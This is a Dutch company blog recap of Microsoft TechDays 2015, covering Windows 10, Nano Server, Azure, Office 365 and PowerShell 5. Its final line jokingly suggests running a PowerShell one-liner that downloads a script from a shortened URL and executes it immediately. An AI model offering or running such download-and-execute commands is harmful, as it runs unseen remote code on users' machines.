Microsoft TechDays 2015 (28 en 29 mei 2015)…

TechDays 2015

Op 28 en 29 mei waren er in het World Forum in Den Haag weer de jaarlijkse TechDays van Microsoft. Ditmaal met de titel “Breaking New Ground”. Tijdens deze TechDays worden de nieuwe ontwikkelingen en producten van Microsoft besproken, en in sessies van verschillende niveaus ook verder uitgelicht.

Ook dit jaar zijn weer enkele van onze Engineers naar de Microsoft TechDays NL 2015 geweest. De collega’s Eric, Fred, Richard en Ronald waren dit jaar van de partij om dit alles tot zich te nemen.

Inleiding

Op de TechDays komen sprekers uit binnen- en buitenland aan het word over nieuwe en bijzondere zaken .
Punten zoals:

  • Windows 10 (een platform voor alle Devices)
  • Exchange 2016
  • Office 365
    • Delve
    • Video
    • Sway
    • Power BI
  • Windows PowerShell versie 5
  • Desired State Configuration (DSC)
  • Microsoft Azure
  • Nano Server (nieuwe variant)

Sprekers hebben allemaal een bijzondere band met Microsoft zoals:

  • Jeffrey Snoover, Distinguished Microsoft Engineer, bedenker van PowerShell en Lead Architect voor Windows Server afdeling.
  • Scott Schnoll, Senior Content Developer in de Applicaties en Services Group bij Microsoft. Tevens is hij erg nauw betrokken bij Microsoft Exchange , High Availability, virtualisatie migraties en nog veel meer.
  • Tony Krijnen, Partner Technical Strategist, tester en onderzoeker van alles wat nieuw is, zoals Azure, Office 365.

Met de komst van Windows 10 is er een platform voor alle Devices zodat er maar één App gemaakt moet worden, die op alle Devices werkt. Dit heet het Universal Windows platform.

KeyNote

  • De afgelopen jaren had vrijwel elke Device een eigen “platform”. Met de komst van Windows 10 over enkele weken (29 juli 2015) zal de volgende stap gezet worden naar één (1) Universeel Platform, voor de verschillende apparaten. Denk aan Windows Phone, Xbox One en Windows. Deze apparaten zullen straks allemaal dezelfde taal spreken waardoor het ontwikkelen van applicaties een stuk sneller, makkelijker en efficiënter zal worden. Microsoft is hierin ook bezig om de overige grote organisaties hier in te betrekken, zoals VMWare en Amazon.
  • De “kleinere” Datacenters zullen meer en meer verdwijnen aangezien steeds meer diensten naar de Cloud gaan, en dus naar Microsofts Datacenter(s). Voornamelijk ook met de groei van Microsoft Azure.
  • Nano Server. Een nieuw variant voor het Servers OS wat ruim 93% kleiner is (slechts 55MB) dan het huidige Server 2012. Dit is een uitgepakt OS waar zelf modules aan toegevoegd moeten/kunnen worden. Deze server heeft ook geen GUI en zal volledig via PowerShell en/of Remote Management Tools beheerd moeten worden. Een kale installatie van Nano Server draait op maar 19 processen!
  • Azure Stack. Nieuwe tools (gebaseerd op Server 2016) om je eigen Azure platform in te richten en te beheren. Dit zal het bestaande Azure Pack (gebaseerd op Server 2012) gaan vervangen.

Microsoft Office 365

  • Data Loss Prevention (DLP). Nieuwe manier om je data te beschermen. Denk hierbij aan waarschuwingen bij het versturen van SoFi-nummers of Credit Card gegevens
  • DLP is een premium feature. Exchange Online (abonnement 2) is benodigd om gebruik te kunnen maken van DLP.
  • DLP is erg uitgebreid. Je kunt een waarschuwing laten verschijnen bij bepaalde criteria, maar ook direct blokken, of een gebruiker moet eerst goedkeuring krijgen van gebruiker X bij het versturen van specifieke data.
  • “OneDrive”. Geen OneDrive Personal meer. Geen OneDrive for Business meer. Nog in 2015 zou de nieuwe Client voor OneDrive live moeten gaan. Deze OneDrive Client is zowel voor business, als voor persoonlijke opslag. Daarnaast brengt deze Client nieuwe features zoals: excluden van mappen, geen restricties meer op het aantal bestanden en ondersteuning voor langere bestandsnamen. Daarnaast is het product op vele fronten verbeterd waardoor met name de stabiliteit en betrouwbaarheid van de Synchronisatiefunctionaliteit sterk verbeterd zijn.

Microsoft Azure

  • Microsoft Azure Trust Center geeft duidelijk aan wie wat waar zijn verantwoordelijkheid heeft, en de verschillende policy’s die over de gehele wereld gebruikt worden. Maar ook waar zetten we storage weg, etc.
  • Er vindt veel penetration testing plaats door Microsoft om de omgeving zo veilig mogelijk te houden, als je dit zelf wil doen dit kan/mag maar moet wel van te voren gemeld worden.
  • Er is Fysieke, Infrasturcture, Netwerk en VM beveilging op Azure aanwezig.
  • Microsoft Azure Principles:
    • Pay for what you use.
      • Je betaald alleen als je de dienst aan hebt staan.
      • Je kunt ook BYOL (Bring Your on License).
      • Hourly dan regelt Microsoft dat de Vendoren betaald worden en betaal je Microsoft een Fee voor het regelen van deze dienst/service.
    • Automation Elestic
      • Easy On / Easy Out.
      • PowerShell & Templates
      • Node.js
    • Manage Hybrid & Always On en Always Up
  • Scripting kan vanaf Windows, Mac en Linux.
  • Azure Script zijn online te downloaden.
  • Heel veel verschillende Linux distros.
  • Gebruik in IaaS de D: partitie alleen als TEMP-directory 😉
  • Het kan zijn dat nieuwe ontwikkelingen niet meer via de oude portal zichtbaar worden maar alleen nog maar via de nieuwe omgeving.
  • High Availibility werkt alleen als je 2 de zelfde VM’s hebt en deze in een availibility set en dan worden ze verdeeld over 2 verschillende racks, zodat je 99,9% uptime gegarandeerd hebt.
  • Je moet de server uitzetten om er niet voor te hoeven te betalen, behalve voor het verbruik van de Storage daar betaal je altijd voor.
  • Verwachting is dat al je goed bent met development dat de servers langzaam van IaaS naar Paas zullen gaan op enkele machines.
  • VM Extensions zijn Antivirus/Malware Agents maar ook Backup Agents die je installeert/injecteert naar je IaaS VM’s.
  • Resource Manager (V2) is geavanceerder dan het Classic Model (V1), je maakt een Resource Group aan je kunt nu veel meer netwerk onderdelen aan je machines en je resources koppelen:
    • Gateway en ExpressRouter moeten nog worden toegevoegd.
    • Je kunt TAGS gebruiken en in je billing kun je hierdoor zien wat je voor één complete Resource Group betaald.
  • Je kunt met Resource Templates gemakkelijk deployments doen.
  • Op de Azure site kun je de community templates vinden.
    • Vanuit Visual Studio kun je de templates ook direct bewerken en importeren etc.
  • Containers gebruiken kan het deployen van machines erg versnellen.
    • Docker wordt hiervoor vaak gebruikt.
    • Hyper-V en Windows Containers komen op zeer korte termijn ook uit.

PowerShell versie 5

Microsoft zet verder in op PowerShell! Belangrijkste speerpunten zijn dat ze meer richten op PowerShell is inzake de komst van de Nano Server. Bij die Server is er geen GUI meer beschikbaar en dient het beheer via PowerShell uitgevoerd te worden.

Microsoft is in verband met de PowerShell versie 5 een samenwerking aangegaan met VMware. Om zo ook beheerstaken via de VMware kernel te kunnen laten lopen. Zo zou het in de toekomst mogelijk dienen te worden om via een vmbus de VMware / Host sessie te beheren (alleen Windows Server 2012 R2 en hoger)

In PowerShell word de commando lijst voor DSC (Desire State Configuration) ook verder uitgebreid. DSC kan het beste worden gebruikt als je vaak een zelfde configuratie dient te gebruiken. Dit t.b.v. installatie en beheer.

Het wordt dus van belang dat de kennis van PowerShell bij Engineers verder word verhoogt c.q. up-to-date gehouden wordt i.v.m. oa. de komst van de nieuwe Nano Servers en het beheer / configuratie van de diverse systemen die door Microsoft worden geleverd of geleverd gaan worden.

Voor PowerShell is er een PowerShell Deployment Toolkit beschikbaar. Het bereft hier een set van script om allerhande zaken te automatiseren; ongekende mogelijkheden dus!

Extra info over de mogelijkheden van powershell, voer dan dit commando uit in powershell: iex (New-Object Net.WebClient).DownloadString(“http://bit.ly/e0Mw9w”) 🙂

Bron: Met dank aan Eric, Fred, Richard en Ronald voor de notities van deze TechDays.

Advertenties